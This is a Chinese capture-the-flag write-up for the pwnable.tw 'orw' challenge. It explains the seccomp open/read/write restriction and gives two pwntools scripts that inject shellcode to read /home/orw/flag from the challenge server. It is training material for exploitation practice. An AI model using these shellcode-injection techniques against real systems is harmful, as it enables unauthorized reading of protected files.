Pwnable_orw
题源

题解
保护

只开启了栈保护
分析
进入ida分析 main函数如下

seccomp (Secure Computing Mode)是一种 Linux 内核安全机制,它可以 限制进程可执行的系统调用(syscall),用于减少攻击面,提高程序安全性。
使用seccomp-tools查看允许调用的函数,即orw(open,read,write)
seccomp安装方法
sudo apt install gcc ruby-dev
sudo gem install seccomp-tools
使用方法
seccomp-tools dump ./orw
该题只允许调用open,read,write.再联系题目上的信息,flag在/home/orw/flag下,即调用open打开文件,read读取文件,write输出文件内容,接下来就是编写shellcode,使用Pwntools下的shellcraft帮助编写
exp
open(path,flag,mode) flag:只读 只写 读写 mode:新建文件的权限
read(fd,buf,count) fd:文件描述符 buf:内存缓冲区 count:读取字符数
write(fd,buf,count) 和read相同
第一种
点我一下QaQ
from pwn import *
context(os='linux', arch='i386', log_level='debug')
content = 0
if content == 1:
io = process("./orw")
else:
io = remote("chall.pwnable.tw",10001)
def main():
io.recvuntil("shellcode:")
payload = shellcraft.open('/home/orw/flag',0,0)
payload += shellcraft.read(3,'/home/orw/flag', 100)
#当一个文件被打开时,会占用0,1,2三个文件描述符,而Linux中文件描述符是增加的,所以会返回3
payload += shellcraft.write(1, '/home/orw/flag', 100)
#这里的fd = 1指标准输出到终端
io.sendline(asm(payload))
io.interactive()
if __name__ == '__main__':
main()
第二种
再点我一下 0.0
from pwn import *
context(os='linux', arch='i386', log_level='debug')
content = 0
if content == 1:
io = process("./orw")
else:
io = remote("chall.pwnable.tw",10001)
def main():
io.recvuntil("shellcode:")
payload = shellcraft.open('/home/orw/flag')
payload += shellcraft.read('eax','ebp', 100)
#open返回的文件描述符会存入eax,ebp作为缓冲区地址,存放读取的内容,即‘/home/orw/flag’
payload += shellcraft.write(1, 'ebp', 100)
io.sendline(asm(payload))
io.interactive()
if __name__ == '__main__':
main()
推荐第二种,因为在不同的系统调用中,返回的文件描述符不一定相同,但是一定都存放在eax中.
在第一种中的payload += shellcraft.read(3,'/home/orw/flag', 100)和write调用中,
'/home/orw/flag'会shellcraft作为缓冲区地址,但是Pwntools会自动处理.因此第二种更有普适性


得到flag
Pwnable_orw的更多相关文章
- [BUUCTF]PWN——pwnable_orw
pwnable_orw 附件 步骤: 例行检查,32位程序,开启了canary 本地运行一下程序,看看大概的情况,提示我们输入shellcode 32位ida载入,检索字符串,没看见什么可以直接利用的 ...
- BUU | pwnable_orw
题解网上其他师傅已经写过了而且写的很详细,菜鸡只好写一下自己做题中的笔记 Payload : #coding:utf-8 from pwn import * context(log_level = ' ...
- [BUUCTF-Pwn]刷题记录1
[BUUCTF-Pwn]刷题记录1 力争从今天(2021.3.23)开始每日至少一道吧--在这里记录一些栈相关的题目. 最近更新(2021.5.8) 如果我的解题步骤中有不正确的理解或不恰当的表述,希 ...
- BUUCTF pwn一分题目
因为以前做过一些题目,看见1分题目也不太多了,就想着,抓紧点把1分题都刷一下吧.所以开个帖子记录一下,题目简单的话就只贴exp了. [BJDCTF 2nd]secret 这里有一个输入可以进行溢出,n ...
- pwn 之 沙箱机制
0x00: 简介 沙箱机制,英文sandbox,是计算机领域的虚拟技术,常见于安全方向.一般说来,我们会将不受信任的软件放在沙箱中运行,一旦该软件有恶意行为,则禁止该程序的进一步运行,不会对真实系统造 ...
随机推荐
- python中replace不能把 \n 替换过去
问题 简要描述:python中,字符串的 replace 不能把 \n 符号带过去 截图说明 暂时的解决办法 在replace之前,先把要替换的字符串的 \n 去掉
- 快速生成视频互动直播包含会议直播APP(Android)
阿里云服务器推荐购买99元 首先此应用基于腾讯云实时音视频TRTC.注册腾讯云https://console.cloud.tencent.com/trtc 并完成实名认证开始. 安卓直播高级版 包括直 ...
- Vue3封装一个ElementPlus自定义上传组件2--无弹窗
Vue3封装一个ElementPlus自定义上传组件2--无弹窗 写在前面: 无弹窗的上传组件它来了,依旧是小巧又好用,只不过这回我用的是前端直传的方式,采用http-request进行文件上传,中间 ...
- Qt编写地图综合应用40-覆盖物弧线
一.前言 弧线可以用来指示某几个点直接弧形的方式绘制线条,尤其是飞机轨迹,起点到终点弧形曲线展示,更美观.百度地图的折线图.矩形图.圆形图等,都统称覆盖物,都是作为覆盖物绘制上去的,这样的好处是速度很 ...
- Qt开源作品29-NTP服务器时间同步
一.前言 很多软件都有时间同步的功能,尤其是Qt在嵌入式设备上的,有时候还有很多是没有UI界面的程序,而硬件上有个时钟,时间久了难免没有电,需要从服务器来同步时间来保证本地的时间是正确的,不然本地记录 ...
- Qt音视频开发29-Onvif云台控制
一.前言 云台控制也是onvif功能中最常用的,最常用的功能排第一的是拿到视频流地址,排第二的就是云台控制了,云台控制的含义就是对带云台的摄像机进行上下左右的移动,一般云台摄像机都是带有一个小电机,一 ...
- ERROR: SSL peer shut down incorrectly错误解决(Android Studio)
错误信息:ERROR: SSL peer shut down incorrectly错误解决(Android Studio) 错误原因:android studio在下载"gradle-4. ...
- vivo手机上的系统级消息推送平台的架构设计实践
本文由vivo互联网服务器团队李青鑫分享,有较多修订和改动. 1.引言 本文内容来自vivo互联网服务器团队李青鑫在"2021 vivo开发者大会"现场的演讲内容整理而成(现场演讲 ...
- SpringBoot原理深入及源码剖析(二) 自定义Starter及SpringBoot执行原理
自定义Starter SpringBoot starter机制 SpringBoot由众多starter组成(一系列的自动化配置的starter插件),SpringBoot之所以流行,也是因为star ...
- React基础笔记2
一.生命周期函数 挂载卸载过程 constructor props context componentWillMount 服务器与客户端 componentDidMount ajax ...
